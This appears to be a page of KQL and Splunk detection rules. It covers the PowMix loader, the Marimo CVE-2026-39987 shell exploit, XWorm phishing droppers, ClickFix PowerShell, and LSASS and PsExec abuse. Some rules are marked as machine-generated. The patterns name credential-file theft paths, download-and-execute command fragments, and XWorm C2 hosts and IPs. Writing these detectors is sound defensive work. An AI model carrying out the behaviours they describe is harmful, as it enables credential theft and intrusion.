Hunts the PowMix first-stage loader script content via PowerShell ScriptBlock logging (EID 4104) by combining the AMSI-bypass reflection on AmsiUtils.amsiInitFailed with PowMix-specific markers (the literal ZIP delimiter 'zAswKoK', placeholder '{cdm}', or the dynamic IEX reconstruction from $VerbosePreference). These three behaviours together appear nowhere outside this loader.
Rationale: The article names the exact ZIP delimiter `zAswKoK`, the loader placeholder `{cdm}`, six hardcoded XOR keys (HpSWSb, qDQyxQE, bKUxmhyAe, HymzqLse, KsEYwmgSF, ujCPOEPU), and the unique IEX-reconstruction-from-$VerbosePreference trick. Co-occurrence with AmsiUtils/amsiInitFailed reflection is essentially pathognomonic of PowMix and shouldn't trip generic AMSI-bypass rules. Cross-checked Talos blog and Hacker News.
Cross-checked against:
• https://blog.talosintelligence.com/powmix-botnet-targets-czech-workforce/
• https://thehackernews.com/2026/04/newly-discovered-powmix-botnet-hits.html
• https://github.com/Cisco-Talos/IOCs/blob/main/2026/04/powmix-botnet-targets-czech-workforce.txt
ATT&CKT1059.001T1562.001T1027.013T1140
Data sourcesEndpoint.Processes
let amsi_terms = dynamic(["amsiInitFailed","AmsiUtils"]);
let powmix_terms = dynamic(["zAswKoK","{cdm}","HpSWSb","qDQyxQE","bKUxmhyAe","HymzqLse","KsEYwmgSF","ujCPOEPU"]);
DeviceEvents
| where ActionType in ("PowerShellCommand","ScriptContent")
| extend script = tostring(coalesce(AdditionalFields, ProcessCommandLine))
| where script has_any (amsi_terms)
| where script has_any (powmix_terms) or script has "VerbosePreference" and script has "Invoke-Expression"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessParentFileName, FileName, ProcessCommandLine, script
| join kind=leftouter (
DeviceFileEvents
| where FolderPath has "ProgramData" and FileName endswith ".zip"
| project DeviceName, ZipPath=FolderPath, ZipFile=FileName, ZipTime=Timestamp
) on DeviceName
`powershell` EventCode=4104 (ScriptBlockText="*amsiInitFailed*" OR ScriptBlockText="*AmsiUtils*") AND (ScriptBlockText="*zAswKoK*" OR ScriptBlockText="*{cdm}*" OR ScriptBlockText="*VerbosePreference*" OR ScriptBlockText="*HpSWSb*" OR ScriptBlockText="*qDQyxQE*" OR ScriptBlockText="*bKUxmhyAe*" OR ScriptBlockText="*HymzqLse*" OR ScriptBlockText="*KsEYwmgSF*" OR ScriptBlockText="*ujCPOEPU*") | stats count min(_time) as firstTime max(_time) as lastTime values(ScriptBlockText) as ScriptBlockText values(UserID) as user by host Computer | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-34197")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-34197")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-1511 use cases5 techniques5 kill-chain phases detected
The report contains industrial threat statistics for Q4 2025. It covers various infection vectors and malware types, as well as regional statistics and statistics by industry.
ATT&CKT1027T1190T1486T1566T1566.001
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Curriculum-vitae-catalina XWorm dropper executed from email/download paths
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · Article-specific behavioural hunt — Threat landscape for industrial automation systems in Q4 2025
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] XWorm C2 beacon to known DDNS hosts on non-standard ports (6000/7000)
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement · [LLM] Resume-themed PE written to removable media (XWorm USB propagation on ICS hosts)
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Threat landscape for industrial automation systems in Q4 2025ExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Threat landscape for industrial automation systems in Q4 2025
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("vitae-catalina.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("vitae-catalina.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Threat landscape for industrial automation systems in Q4 2025 ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("vitae-catalina.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("vitae-catalina.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Curriculum-vitae-catalina XWorm dropper executed from email/download pathsDeliveryHigh
Hunts execution of the resume-themed XWorm dropper (Curriculum Vitae-Catalina.exe and close variants) launched from Outlook attachment cache, archive utilities, or Downloads. Targets the Q4 2025 phishing wave aimed at HR/recruiters described by Kaspersky ICS CERT.
Rationale: The Securelist article names the exact dropper file 'Curriculum Vitae-Catalina.exe' and the lure pattern (HR-targeted emails with subjects 'Resume'/'Attached Resume'). Anchoring on that filename plus email-attachment parent processes / Outlook attachment cache makes this near-zero FP. Cross-checked with Help Net Security and All About Security write-ups of the same campaign.
Cross-checked against:
• https://www.helpnetsecurity.com/2026/03/10/hr-recruiters-malware-resume/
• https://www.all-about-security.de/xworm-backdoor-bedroht-industrieanlagen-weltweit-ics-sicherheitslage-q4-2025/
• https://threats.kaspersky.com/en/threat/Backdoor.MSIL.XWorm.gen/
ATT&CKT1566.001T1204.002T1036.005
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "Curriculum Vitae-Catalina.exe"
or (FileName matches regex @"(?i)^(curriculum.?vitae|cv|resume|attached.?resume).{0,40}\.exe$"
and (InitiatingProcessFileName in~ ("OUTLOOK.EXE","winrar.exe","7zg.exe","7zfm.exe","explorer.exe","chrome.exe","msedge.exe")
or FolderPath has_any (@"\INetCache\Content.Outlook\", @"\Downloads\", @"\AppData\Local\Temp\")))
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessFolderPath, SHA256
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process_name) as parent values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.process_name="Curriculum Vitae-Catalina.exe" OR Processes.process_name="Curriculum*Vitae*Catalina*.exe" OR (match(Processes.process_name,"(?i)^(curriculum.?vitae|cv|resume|attached.?resume).{0,40}\.exe$") AND (Processes.parent_process_name IN ("OUTLOOK.EXE","winrar.exe","7zg.exe","7zfm.exe","explorer.exe","chrome.exe","msedge.exe") OR match(Processes.process_path,"(?i)(\\\\INetCache\\\\Content\.Outlook\\\\|\\\\Downloads\\\\|\\\\Temp\\\\)")))) by Processes.dest Processes.process_name Processes.process_path Processes.parent_process_name | `drop_dm_object_name(Processes)` | convert ctime(firstTime) ctime(lastTime)
[LLM] XWorm C2 beacon to known DDNS hosts on non-standard ports (6000/7000)Command & ControlHigh
Detects outbound traffic from ICS/enterprise endpoints to XWorm C2 infrastructure observed in the Q4 2025 Curriculum-vitae-catalina wave: DDNS hosts (abuwire123.ddns.net, ziadonfire.work.gd, berlin101.com) and the XWorm-typical ports 6000/7000. High-fidelity post-compromise signal.
Rationale: Securelist describes XWorm C2 persistence; second-source vendor blogs (Hunt.io, Netskope, Trellix) confirmed the specific DDNS C2 hosts and 6000/7000 ports tied to current XWorm builds. DDNS-on-non-standard-port + named hostnames is a tight indicator unlikely to fire benignly in an ICS or corporate environment.
Cross-checked against:
• https://hunt.io/blog/pasteee-xworm-asyncrat-infrastructure
• https://www.netskope.com/blog/netskope-threat-labs-uncovers-new-xworms-stealthy-techniques
• https://www.trellix.com/blogs/research/xworms-evolving-infection-chain-from-predictable-to-deceptive/
• https://www.huntress.com/threat-library/malware/xworm
ATT&CKT1071.001T1571T1568.002
Data sourcesNetwork_Traffic.All_TrafficNetwork_Resolution.DNS
let xworm_hosts = dynamic(["abuwire123.ddns.net","ziadonfire.work.gd","berlin101.com"]);
let xworm_ips = dynamic(["45.145.43.244","89.116.164.56"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (xworm_hosts)
or RemoteIP in (xworm_ips)
or (RemotePort in (6000,7000) and ActionType == "ConnectionSuccess" and RemoteIPType == "Public")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath, RemoteIP, RemotePort, RemoteUrl, Protocol
| join kind=leftouter (DeviceProcessEvents | where Timestamp > ago(30d) | project DeviceName, InitiatingProcessFileName, ProcessSHA=SHA256) on DeviceName, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest) as dest values(All_Traffic.dest_port) as dest_port values(All_Traffic.app) as app from datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest IN ("abuwire123.ddns.net","ziadonfire.work.gd","berlin101.com","45.145.43.244","89.116.164.56") OR All_Traffic.dest_port IN (6000,7000)) AND All_Traffic.dest_category!="internal" by All_Traffic.src All_Traffic.dest All_Traffic.dest_port All_Traffic.user | `drop_dm_object_name(All_Traffic)` | append [| tstats `summariesonly` count from datamodel=Network_Resolution.DNS where DNS.query IN ("abuwire123.ddns.net","ziadonfire.work.gd","berlin101.com") by DNS.src DNS.query | `drop_dm_object_name(DNS)`] | convert ctime(firstTime) ctime(lastTime)
[LLM] Resume-themed PE written to removable media (XWorm USB propagation on ICS hosts)Actions on ObjectivesMedium
Hunts the secondary spread vector flagged by Kaspersky ICS CERT for Q4 2025: Backdoor.MSIL.XWorm written as a resume-themed executable to USB/removable drives, particularly relevant for ICS/OT hosts in regions where USB is the primary transfer medium (Africa called out specifically).
Rationale: Article explicitly states XWorm was 'also detected when removable devices were connected to ICS computers' in Africa, and names the dropper as Curriculum Vitae-Catalina.exe. Filtering FileCreated of resume-named PE on non-system drive letters captures USB propagation while keeping FP manageable for an ICS-host hunt.
Cross-checked against:
• https://www.all-about-security.de/xworm-backdoor-bedroht-industrieanlagen-weltweit-ics-sicherheitslage-q4-2025/
• https://cybersecuritynews.com/email-borne-worm-surge-drives-new-threat/
ATT&CKT1091T1036.005
Data sourcesEndpoint.Filesystem
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType == "FileCreated"
| where FileName matches regex @"(?i)^(curriculum.?vitae|cv|resume|attached.?resume).{0,40}\.exe$"
or FileName =~ "Curriculum Vitae-Catalina.exe"
| join kind=leftouter (
DeviceInfo | summarize arg_max(Timestamp, DeviceType) by DeviceId
) on DeviceId
| where FolderPath matches regex @"(?i)^[E-Z]:\\"
or FolderPath has_any (@"\Removable", @"\USB")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256, RequestAccountName
